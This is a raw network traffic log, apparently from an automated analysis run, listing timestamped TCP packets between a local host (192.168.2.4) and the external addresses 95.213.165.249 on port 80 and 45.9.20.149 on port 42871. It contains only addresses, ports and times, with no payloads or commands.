Dec 1, 2021 09:14:28.988374949 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988392115 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988396883 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988398075 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988414049 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988430977 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988451958 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988476038 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988493919 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988500118 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988523006 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988532066 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988545895 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988563061 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988569021 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988591909 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988615036 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988622904 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988640070 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988663912 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988686085 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988686085 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988707066 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988714933 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988729000 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988746881 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988749981 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988771915 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988792896 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988802910 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988816023 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988837004 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988877058 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988887072 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.988898993 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988919973 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:28.988941908 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:28.998688936 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.047513962 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047554016 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047571898 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047593117 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047614098 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047633886 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047652960 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047673941 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047679901 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.047696114 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047719955 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047719955 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.047744989 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047760010 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.047766924 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047789097 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047794104 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.047811031 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047827959 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.047831059 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047852993 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047873974 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047894955 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047899008 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.047914982 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047931910 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.047935009 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047956944 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.047964096 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.047981024 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048002958 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048002958 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048027039 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048048973 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048051119 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048073053 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048086882 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048094988 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048116922 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048136950 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048154116 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048157930 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048181057 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048193932 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048202038 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048223972 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048224926 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048247099 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048268080 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048268080 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048290014 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048310995 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048311949 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048336029 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048350096 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048360109 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048384905 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048396111 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048409939 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048439980 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048465014 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048465967 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048491955 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048501015 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048516035 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048542023 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048564911 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048566103 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048589945 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048608065 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048612118 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048636913 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048650980 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048661947 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048685074 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048696041 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048708916 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048733950 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048757076 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048758030 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048782110 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048795938 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048806906 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048830986 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048842907 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048887014 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048913956 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048927069 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048938990 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048964024 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.048981905 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.048989058 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.049012899 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.049036980 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.049057007 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.049060106 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.049082041 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.049093008 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.049104929 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.049118042 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.049129963 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.049151897 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.049166918 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.049171925 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.049195051 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.049232006 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.057049990 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.057092905 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.057133913 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.073409081 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.108225107 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108269930 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108294964 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108319044 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108341932 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108347893 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.108365059 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108386040 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108386993 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.108408928 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108417988 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.108438015 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108453035 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.108462095 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108484983 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.108486891 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108510971 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108522892 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.108534098 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108557940 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108576059 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.108577967 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108602047 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108616114 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.108624935 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108648062 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108671904 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108673096 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.108695030 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108714104 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.108715057 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108738899 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108750105 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.108761072 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108782053 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108804941 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108804941 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.108827114 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.108844995 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.109383106 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109412909 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109437943 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109450102 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.109466076 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109479904 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.109494925 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109519958 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109545946 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109548092 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.109580994 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109606028 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109632015 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109636068 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.109657049 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.109662056 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109688997 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109714031 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.109714985 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109741926 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109751940 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.109770060 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109795094 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109819889 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109822035 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.109847069 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109873056 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109896898 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109899998 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.109922886 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109924078 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.109951019 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.109961987 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.109977961 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110001087 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110023022 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110044003 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.110047102 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110071898 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110079050 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.110095024 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110117912 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.110119104 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110143900 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110167027 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110174894 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.110191107 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110213995 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110224009 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.110238075 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110249043 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.110263109 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110285044 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110307932 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110311031 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.110332012 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110353947 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.110357046 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110382080 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110403061 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.110404015 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110430002 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110450983 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.110454082 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110477924 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110500097 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110502005 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.110522032 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110544920 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110546112 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.110569000 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110589981 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.110591888 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.110826015 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.110846996 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.117069006 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.117105007 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.117189884 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.131633997 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.167840958 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.167884111 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.167908907 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.167933941 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.167937994 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.167956114 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.167972088 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.167983055 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.168009996 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.168044090 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.168045044 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.168065071 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.168070078 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.168088913 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.168112040 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.168113947 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.168135881 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.168147087 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.168159962 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.168184042 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.168205023 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.168205023 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.168226957 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.168248892 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.168268919 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.168271065 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.168292046 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.168307066 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.168318033 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.168330908 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.168343067 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.168361902 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.168384075 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.168410063 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.169291973 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.181857109 CET	49805	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:29.240457058 CET	80	49805	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:29.930294037 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:14:29.992038965 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:14:29.992175102 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:14:31.145405054 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:14:31.208684921 CET	42871	49808	45.9.20.149	192.168.2.4
Dec 1, 2021 09:14:31.395523071 CET	49808	42871	192.168.2.4	45.9.20.149
Dec 1, 2021 09:14:32.255563974 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.313394070 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.313472986 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.314840078 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.315046072 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.372140884 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.372169018 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.372301102 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.372317076 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.372447968 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.372464895 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.372503996 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.372509956 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.372665882 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.428580046 CET	49810	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.430635929 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.430720091 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.430732012 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.430802107 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.431188107 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.431252003 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.431698084 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.431973934 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.431994915 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.432087898 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.432116985 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.432893038 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.432954073 CET	80	49809	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:32.432987928 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.433007002 CET	49809	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:32.433078051 CET	80	49809	95.213.165.249	192.168.2.4
